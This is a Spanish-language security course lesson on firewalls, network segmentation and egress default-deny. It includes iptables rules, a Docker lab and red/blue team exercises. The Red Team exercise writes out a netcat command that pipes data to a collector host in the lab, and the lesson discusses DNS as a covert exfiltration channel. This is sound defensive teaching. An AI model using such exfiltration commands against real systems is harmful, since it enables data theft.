1Por qué importa
Casi toda la energía de seguridad de una organización se gasta en el borde de entrada: qué puede llegar desde internet. Es necesario y es insuficiente, porque el borde solo importa hasta que alguien lo cruza, y siempre acaba cruzándolo alguien. Lo que decide si ese primer acceso se queda pequeño o se convierte en un incidente grande es lo que pasa después: si el atacante puede moverse de un sistema a otro, y si puede sacar lo que encuentra. Eso lo deciden la segmentación y el control de salida, no el borde.
El control de egress es el que casi nadie configura y el que más cambia el resultado de un incidente. La mayoría de los ataques modernos necesitan hablar hacia fuera después del acceso: para recibir instrucciones, para descargar la siguiente etapa, para exfiltrar. Un sistema que solo puede hablar con lo que de verdad necesita rompe esa cadena, y lo hace sin saber nada del ataque concreto. Es defensa que funciona contra amenazas que aún no existen.
Esta lección cierra la fase de redes juntando todo lo anterior. La segmentación corta los caminos que dibujaste en la lección de TCP/IP. El control de egress corta el canal encubierto de DNS de la lección de resolución. Y el default-deny es la forma concreta del principio de fallo seguro que viste en los fundamentos. No es un tema nuevo: es la aplicación en red de lo que ya sabes.
El entregable es una política de dos direcciones para un sistema: qué puede entrar y qué puede salir, ambas escritas como listas de excepciones sobre un default-deny. Si tu política solo habla de entrada, has protegido la mitad que a un atacante ya dentro le da igual.
2Conceptos
- Stateless: filtra cada paquete por sí solo, sin recordar conexiones. Rápido y tosco.
- Stateful: recuerda las conexiones y permite sus respuestas sin abrir un rango entero.
- Filtrado L3/L4: decide por dirección, protocolo y puerto. No mira el contenido.
- Filtrado L7: decide por el contenido de la aplicación; entiende HTTP, DNS, etcétera.
- Ingress: el tráfico que entra a un sistema o segmento.
- Egress: el tráfico que sale; el que contiene el movimiento lateral y la exfiltración.
- Default-deny: la política por defecto es denegar; las reglas enumeran excepciones permitidas.
- Segmentación: dividir la red para que la ausencia de ruta haga innecesaria una regla.
3Explicación profunda
La primera distinción es stateless frente a stateful, y no es un detalle de rendimiento. Un firewall stateless mira cada paquete aislado: si quieres permitir que tu servicio reciba peticiones y responda, tienes que abrir el puerto de entrada y, además, un rango entero para las respuestas, porque no sabe que ese paquete de salida contesta a una conexión que él mismo dejó entrar. Un firewall stateful recuerda las conexiones establecidas y permite sus respuestas automáticamente, así que puedes escribir una política mucho más ajustada. En la práctica, todo lo serio es stateful, y esa memoria de conexiones es un recurso finito que, como viste en la lección de TCP, se puede agotar a propósito.
La segunda es la capa. Un firewall de L3/L4 decide por dirección, protocolo y puerto: es rápido, universal y ciego al contenido. No sabe si dentro del puerto 443 va tu aplicación o un túnel de exfiltración; solo ve una conexión a un puerto. Un firewall de L7 entiende el protocolo de aplicación y puede decidir por él: permitir HTTP hacia un dominio y no hacia otro, o bloquear una consulta DNS con un nombre sospechoso. El de L7 es más potente y también más caro, más frágil y más fácil de evadir con protocolos que no entiende. La regla de diseño es empezar por el filtrado de capa baja, que es barato y difícil de esquivar, y añadir L7 donde el contenido de verdad importe.
La tercera, y la más importante, es la dirección. El control de ingress —qué entra— es el que todo el mundo configura, porque es el que para los ataques desde fuera. El control de egress —qué sale— es el que casi nadie configura, y es el que contiene el daño una vez que alguien está dentro. Un servidor web legítimo casi nunca necesita iniciar conexiones hacia internet; si lo hace, o es una dependencia que puedes enumerar, o es algo que no debería estar pasando. Enumerar esas pocas salidas legítimas y denegar el resto convierte cada sistema en un callejón sin salida para el atacante.
El default-deny es la forma que une todo esto. Una política puede escribirse de dos maneras opuestas: enumerar lo que se prohíbe y permitir el resto, o enumerar lo que se permite y prohibir el resto. La primera es una carrera perdida, porque tienes que anticipar todo lo malo, y siempre falta algo. La segunda es finita: enumeras lo que tu sistema necesita, que es una lista corta y conocida, y todo lo demás cae por defecto. Por eso la política de un firewall bien hecho empieza siempre con “denegar todo” y a partir de ahí abre excepciones. Es el principio de fallo seguro aplicado al tráfico.
Aquí aparece un matiz que decide si el default-deny funciona: el orden de las reglas. Un firewall evalúa de arriba abajo y aplica la primera regla que coincide. Si la política por defecto de denegar está antes que las excepciones, no llega a evaluarlas y lo bloquea todo, incluido lo legítimo. Si una regla permisiva demasiado amplia está antes que las específicas, deja pasar lo que creías haber cerrado. La política correcta es una secuencia precisa: primero lo imprescindible —el loopback y las respuestas de conexiones ya establecidas—, después las excepciones específicas, y la denegación por defecto como red final.
Y una pieza que ata la lección con la plataforma: la segmentación es un control distinto y a menudo mejor que una regla de firewall. Una regla puede tener un error; una ruta que no existe no se puede saltar. Cuando en el laboratorio pones la base de datos en un segmento donde el atacante no está, no hay ninguna regla que desactivar, porque no hay camino. Esa es la razón de que la network policy —la segmentación declarada como código, que la fase de contenedores va a desarrollar— sea tan potente: convierte la topología en el control, y la topología no tiene reglas que evadir.
4Ejemplo sencillo
# Un edificio con control de acceso stateless el guardia mira cada persona sin recordar a nadie. para que puedas salir, tiene que abrir la puerta de salida a todo el mundo, porque no sabe que tu ya entraste. stateful el guardia recuerda quien entro. te deja salir a ti sin abrir la puerta a los de fuera. politica mas ajustada. L3/L4 decide por la puerta y el pasillo: "por aqui no se pasa". L7 ademas abre el maletin y mira que llevas dentro. # Las dos direcciones, y la que nadie vigila ingress quien puede ENTRAR al edificio. todos lo controlan. egress quien puede SALIR, y con que. casi nadie lo controla, y es lo que impide que alguien se lleve los archivos. # default-deny, en orden 1. lo imprescindible: los empleados se mueven por dentro 2. las excepciones: mensajeria autorizada por esta puerta 3. por defecto: cualquier otra cosa, no pasa
5Ejemplo técnico
Así se lee una política de egress bien ordenada. Esta es la del contenedor
api del laboratorio, en el orden en que el sistema la evalúa:
El orden es la política. La regla de conexiones establecidas va segunda porque
sin ella el servicio dejaría de responder a las peticiones que sí debe atender:
las respuestas salen por OUTPUT y, sin esa regla, la denegación por
defecto las corta y parece que el servicio está caído. Las excepciones tres y
cuatro son las dos únicas salidas que esta aplicación necesita de verdad: resolver
nombres y hablar con su base de datos. Todo lo demás —cualquier intento de llamar
a un servidor externo— cae en la denegación por defecto y, además, deja una línea
en el log, porque un default-deny mudo no se puede depurar ni detectar.
| Control | Qué detiene | Qué no detiene |
|---|---|---|
| Ingress default-deny | El acceso desde fuera a lo no publicado | Nada una vez que alguien está dentro |
| Segmentación | El movimiento lateral hacia segmentos sin ruta | El movimiento dentro del mismo segmento |
| Egress default-deny | La exfiltración y el mando y control hacia fuera | La exfiltración hacia un destino permitido |
| Filtrado L7 de salida | Salidas hacia dominios no permitidos | Túneles sobre protocolos permitidos |
La tabla deja clara la idea de defensa en profundidad de la fase 01: ningún control cubre todo, y por eso se combinan. La segmentación cierra los caminos, el egress default-deny cierra las salidas que quedan, y el filtrado L7 recorta las salidas permitidas que un atacante podría abusar. Cada uno tapa el hueco que deja el anterior.
6Diagrama
Ver el mismo diagrama como código Mermaid (editable)
flowchart LR
AT[atacante] -->|cruzo el borde| API[api]
API -. sin ruta: segmentacion .-x DAT[datos]
API -. egress DROP .-x EXT[recolector / exterior]
API -->|5432 permitido| DAT
7Código
Un default-deny de egress cabe en unas pocas líneas, y cada una tiene un motivo. Este es el corazón del script que aplicas en el laboratorio:
# default-deny de salida, en el orden en que el kernel lo evalua # 1. politica por defecto: nada sale salvo que se diga lo contrario iptables -P OUTPUT DROP # 2. el propio contenedor hablando consigo mismo, siempre iptables -A OUTPUT -o lo -j ACCEPT # 3. respuestas a lo que ENTRO: sin esto, el servicio deja de responder iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT # 4. excepciones explicitas, y SOLO estas iptables -A OUTPUT -p udp --dport 53 -j ACCEPT # DNS iptables -A OUTPUT -p tcp --dport 5432 -j ACCEPT # base de datos # 5. lo que se cae, se registra: un deny mudo no se depura iptables -A OUTPUT -j LOG --log-prefix "EGRESS-DENEGADO "
Quita la regla tres y verás el error más común de esta lección: el servicio deja
de responder y parece caído, cuando en realidad son sus propias respuestas las
que la denegación por defecto está cortando. Cambia el orden y pon una regla
permisiva amplia arriba, y verás el error opuesto: la salida que creías cerrada
vuelve a abrirse, porque el firewall aplicó la primera coincidencia y nunca llegó
al DROP. La política no es la lista de reglas; es la lista de reglas
en ese orden.
8Qué puede salir mal
Proteger solo el ingress. Una política que dice qué puede entrar y calla sobre qué puede salir deja intacta la fase del ataque que convierte un acceso pequeño en una fuga de datos. El egress es la mitad que contiene.
Default-allow disfrazado. Una política que enumera prohibiciones sobre un “permitir el resto” siempre deja un hueco, porque nadie anticipa todo lo malo. Si la última regla no es una denegación por defecto, no es default-deny.
Olvidar las conexiones establecidas. Cortar la salida sin permitir las respuestas de lo que entró deja el servicio mudo. El síntoma parece una caída y la causa es una regla que falta.
Confiar en L7 para lo que L3 debería cerrar. Un filtro de contenido es potente pero evadible con protocolos que no entiende. Lo que se puede cerrar por puerto y dirección se cierra ahí primero, que es barato y difícil de esquivar.
9Cómo lo abusaría un atacante
Para un atacante, cruzar el borde es solo el principio. Lo que de verdad quiere viene después: mirar qué más hay en la red, saltar al sistema que guarda algo valioso, y sacarlo. Esas tres cosas —reconocimiento interno, movimiento lateral y exfiltración— son exactamente las que la segmentación y el egress cortan, y por eso un atacante experto evalúa esos controles antes de hacer ruido.
Lo primero que comprueba es hacia dónde puede hablar el sistema que ya controla. Si desde ahí llega a la base de datos, al panel de administración o a otro servicio, tiene su siguiente salto sin necesidad de ningún exploit, igual que en el ejercicio de la lección de TCP/IP. Si además puede abrir conexiones arbitrarias hacia fuera, tiene canal para recibir herramientas y para sacar datos. Un sistema bien segmentado y con egress cerrado le deja las manos vacías: está dentro, pero no llega a nada nuevo ni puede sacar lo que ya tiene.
Cuando el egress está cerrado, el atacante recurre a lo que quede permitido, y casi siempre queda DNS. Por eso el canal encubierto de la lección de resolución es tan valioso: si el sistema puede resolver nombres, puede sacar datos por las consultas aunque todas las conexiones estén bloqueadas. La conclusión defensiva une las dos lecciones: cerrar el egress no basta si dejas DNS abierto de par en par; hay que vigilar también qué se resuelve.
10Cómo defenderlo
- Escribe cada política en dos direcciones. Ingress y egress, ambas como excepciones sobre un default-deny. La de egress es la que casi nadie tiene.
- Empieza toda política con la denegación por defecto y añade solo las excepciones que tu sistema necesita de verdad. Suelen ser pocas.
- Cuida el orden: primero el loopback y las conexiones establecidas, después las excepciones específicas, la denegación como red final.
- Segmenta antes de filtrar. Una ruta que no existe es más fuerte que una regla que la bloquea, porque no se puede desactivar por error.
- Registra lo denegado. Un default-deny mudo no se puede depurar ni detectar; el log de lo que se cae es tu señal de reconocimiento y de configuración mal hecha.
- No dejes DNS como una salida libre. Si permites resolución, vigila qué se resuelve, porque es el canal que queda cuando cierras el resto.
11Laboratorio
recolector, que vive dentro del mismo compose. No apuntes
ninguna prueba fuera del laboratorio.
Levanta el laboratorio. Trae un borde, la aplicación, la base de datos, un atacante y un recolector:
cd cursos/seguridad/labs/lab-net-firewall
docker compose up -d --build
docker compose ps
Primero comprueba la segmentación, que no es una regla sino una ausencia de ruta. El atacante está en la dmz; los datos, en un segmento interno donde el atacante no está:
Ahora el egress. La api sí tiene salida: mide el antes,
aplica el default-deny y mide el después. Fíjate en que lo permitido sigue
funcionando y lo denegado no:
Mira lo denegado en el log del propio contenedor y, cuando termines, restaura y destruye:
docker compose exec api sh -c "dmesg | grep EGRESS-DENEGADO | tail -3"
docker compose exec api sh /opt/reglas/restaurar.sh
docker compose down -v
12Ejercicios
Clasifica cinco reglas y controles
Para cada uno, di si es ingress o egress, y en qué capa actúa: (1) publicar
el puerto 80 en el host; (2) política OUTPUT DROP con
excepciones; (3) poner la base de datos en un segmento sin el atacante; (4)
bloquear consultas DNS hacia dominios de una lista; (5) permitir solo las
respuestas de conexiones establecidas.
(1) ingress, L3/L4. (2) egress, L3/L4. (3) no es una regla sino segmentación, y actúa en la topología, por debajo de L3. (4) egress, L7, porque decide por el contenido de la consulta. (5) es lo que hace stateful al firewall; aplica en ambas direcciones y se apoya en la memoria de conexiones.
Clave: ingress L4 · egress L4 · segmentación · egress L7 · stateful. El (3) está bien solo si no lo llamas “regla”.
Rompe y arregla el orden de las reglas
En el lab-net-firewall, aplica el default-deny y después
elimina la regla de conexiones establecidas. Comprueba qué le pasa al
servicio visto desde el host. Después vuelve a añadirla en el sitio correcto
y explica por qué su posición importa.
ESTABLISHED,RELATED en la cadena OUTPUT.iptables -D OUTPUT ... y prueba curl http://localhost:8094/salud desde el host.OUTPUT y caen en el DROP por defecto. El servicio parece caído sin estarlo.
Sin la regla de conexiones establecidas, la petición del host entra a la
api pero su respuesta no puede salir: cae en la denegación
por defecto de OUTPUT. Desde el host se ve un tiempo de
espera agotado, y la tentación es pensar que el servicio se cayó. No se
cayó: está recibiendo y no puede contestar. Volver a añadir la regla, y
hacerlo antes de las excepciones específicas, restaura las respuestas sin
abrir ninguna salida nueva.
Clave: el síntoma es un falso “servicio caído”. Lo evaluable es que expliques que las respuestas salen por OUTPUT y necesitan esa regla.
Compara egress por host y network policy
El laboratorio corta la salida con iptables dentro del
contenedor. En una plataforma de contenedores real, ese control suele
declararse como network policy. Investiga fuera de esta lección y responde:
¿qué ventajas tiene declarar la política en la plataforma en vez de dentro de
cada carga?, ¿qué pasa con esa política cuando el contenedor se recrea?, y
¿por qué es un control más fuerte que una regla que el propio contenedor
aplica sobre sí mismo?
La diferencia decisiva es quién impone la regla. Cuando la política vive dentro del contenedor, como en el laboratorio, un atacante que controla el proceso con permisos suficientes puede modificarla, y además desaparece cada vez que el contenedor se recrea, lo que la hace frágil. Una network policy la aplica la plataforma desde fuera de la carga: el proceso comprometido no la ve ni la puede tocar, y sobrevive a cualquier reinicio o recreación del contenedor.
Por eso el laboratorio da NET_ADMIN a la api a
propósito, para que puedas aplicar tú la política y ver el efecto, y a la
vez señala que en producción ese control pertenece a la plataforma, no a
la carga. Es la misma idea de sacar el control fuera del alcance del
proceso que la fase de contenedores desarrolla.
Clave: quien aplica la regla decide su fuerza. Lo evaluable es que reconozcas que una política dentro de la carga es alterable por quien compromete la carga.
Red Team · exfiltra antes y después del corte
Dentro del lab-net-firewall, y solo dentro: ponte en el papel
de un proceso comprometido en la api. Antes de aplicar el
default-deny, saca una cadena hacia el recolector y compruébalo
en su log. Aplica el default-deny y demuestra que la misma exfiltración deja
de funcionar. Después busca qué salida te queda todavía abierta.
docker compose logs -f recolector.nc: envía una cadena al recolector desde la api.
Antes del corte, echo dato | nc -w 2 recolector 9000 desde
la api deja la cadena en el log del recolector: la salida
está abierta. Después del default-deny, el mismo comando se queda sin
respuesta y no llega nada, porque el puerto 9000 no está entre las
excepciones. La exfiltración directa está cortada.
Lo que queda abierto es DNS, en el puerto 53, porque la aplicación lo necesita para resolver el nombre de su base de datos. Y ese es exactamente el canal encubierto de la lección de resolución: puedes sacar datos codificándolos en consultas de nombres aunque todas las conexiones estén bloqueadas. La lección se cierra sobre sí misma: cortar el egress es necesario y no suficiente si dejas DNS sin vigilar.
Clave: el hallazgo no es que la exfiltración directa se corta, sino que DNS sigue siendo una salida. Conecta este ejercicio con el canal encubierto de f02-dns.
Blue Team · convierte el log de denegación en una alerta
Con el default-deny aplicado, genera varios intentos de salida bloqueados y localiza sus líneas de log. Responde: ¿qué información trae cada línea?, ¿qué distinguiría un intento aislado y benigno de un patrón de mando y control?, y ¿qué regla de alerta escribirías sobre ese log?
EGRESS-DENEGADO y traen origen, destino y puerto.Cada línea trae el origen, el destino y el puerto del paquete denegado, que es suficiente para distinguir un intento aislado de un patrón. Un intento suelto hacia un puerto inesperado suele ser una dependencia mal configurada que hay que arreglar o permitir; un goteo regular hacia el mismo destino, a intervalos parecidos, tiene la forma del mando y control, que reintenta esperando que la salida se abra. La regla de alerta útil no es “avisa por cada denegación”, que sería ruido, sino “avisa cuando un mismo origen intente salir hacia el mismo destino de forma repetida en una ventana de tiempo”.
Ese log tiene un valor doble que conviene subrayar: además de detectar un posible ataque, detecta errores de configuración: una dependencia legítima que olvidaste enumerar aparece exactamente igual que un intento malicioso, y eso te obliga a decidir si la permites o la investigas. El default-deny convierte cada salida no prevista en una pregunta.
Clave: la alerta se dispara por repetición hacia el mismo destino, no por cada denegación. Guarda la regla: en la fase 14 la vas a implementar.
Architecture Challenge · política de red de una plataforma con agentes
Diseña la política de red por defecto de una plataforma que ejecuta cargas poco confiables, incluidos agentes automáticos. Define: qué puede alcanzar cada carga por defecto, cómo se declaran las excepciones de ingress y de egress, qué haces con DNS, y cómo evitas que la política se convierta en un cuello de botella que todo el mundo pida saltarse.
Una propuesta defendible: default-deny en las dos direcciones para toda carga, con las excepciones declaradas como código junto a la definición de cada carga y revisadas en el mismo sitio que el resto de su configuración. Ingress solo desde los servicios que de verdad la llaman; egress solo hacia las dependencias que enumera. DNS no se deja abierto: se dirige a un resolutor propio que registra cada consulta y aplica una lista de permitidos, cerrando el canal encubierto que de otro modo quedaría.
La parte social importa tanto como la técnica: una política que es un trámite lento se convierte en una fila de peticiones para saltársela, y acaba desactivada. La forma de evitarlo es que declarar una excepción legítima sea tan fácil como un cambio de código revisado, y que cada excepción quede registrada con su motivo. Para una plataforma de agentes, donde cada agente es una carga poco confiable por definición, este default-deny bidireccional es la contención de base sobre la que se apoya todo lo demás de la fase de seguridad de agentes.
Clave: no hay una única respuesta. Se evalúa el default-deny en las dos direcciones, el tratamiento explícito de DNS, y que resuelvas el problema social de las excepciones.
13Preguntas de comprensión
¿Por qué el control de egress contiene un incidente mejor que el de ingress?
El ingress para el ataque desde fuera; el egress limita el daño una vez dentro. Los dos hacen falta, pero el egress es el que casi nadie tiene.
En una política default-deny, ¿qué hace que deje pasar lo legítimo en vez de bloquearlo todo?
El firewall aplica la primera regla que coincide. Si la denegación por defecto va antes que las excepciones, no llega a evaluarlas.
¿Por qué la segmentación es más fuerte que una regla que bloquea el mismo tráfico?
En el laboratorio, a los datos no se llega porque el atacante no comparte red con ellos. No hay regla que fallar.
Cierras todo el egress salvo DNS. ¿Qué riesgo sigue abierto?
DNS es el canal que queda cuando cierras el resto. Cortar el egress es necesario y no suficiente si no vigilas qué se resuelve.
14Reto adicional
Escribe la política de egress de un servicio tuyo
Toma un servicio que controles y enumera todas las conexiones salientes que hace de verdad: bases de datos, colas, APIs externas, resolución de nombres. Escribe la política de egress que permitiría solo esas y denegaría el resto, y responde: ¿cuántas salidas esperabas y cuántas hay?, ¿alguna te sorprendió?, ¿cuál sería el efecto de cortar el resto?
El resultado casi universal es que hay más salidas de las que nadie recordaba: telemetría hacia terceros, comprobaciones de actualización, clientes de servicios que se integraron una vez y quedaron cableados. La lista real es más larga que la lista de memoria, y esa diferencia es precisamente la superficie de exfiltración que estaba abierta sin que nadie lo hubiera decidido.
El valor del ejercicio no es la política final, sino el inventario que obliga a hacer. Cada salida que descubres es una pregunta: ¿la necesito, o es una fuga potencial que llevaba años ahí? Cortar el resto tiene un efecto inmediato de contención y un efecto secundario incómodo y útil: revela dependencias que nadie sabía que existían, que es exactamente lo que un atacante habría usado.
Clave: el entregable es la política más la lista de salidas que te sorprendieron. Cada sorpresa es un riesgo escribible con el vocabulario de la fase 01.
15Resumen
- Un firewall filtra según reglas, y lo que importa es en qué capa mira, si recuerda las conexiones, qué hace por defecto y en qué dirección filtra.
- Stateful frente a stateless decide cuánto puedes ajustar la política; L3/L4 frente a L7 decide si filtras por dirección o por contenido.
- El ingress para el ataque desde fuera; el egress contiene el movimiento lateral y la exfiltración, y es el que casi nadie configura.
- Default-deny es enumerar lo permitido y denegar el resto. Es finito, mientras que enumerar lo prohibido es una carrera perdida.
- El orden de las reglas es la política: loopback y conexiones establecidas primero, excepciones después, denegación por defecto como red final.
- La segmentación es más fuerte que una regla, porque una ruta que no existe no se puede saltar. Cerrar el egress sin vigilar DNS deja el canal encubierto abierto.
16Mis notas
Estas notas se guardan solo en este navegador. No se envían a ningún servidor. Expórtalas desde el panel de progreso si cambias de máquina.
17Recursos
Los comentarios se cargan solo si los pides, desde GitHub Discussions. No se carga nada de terceros mientras no pulses.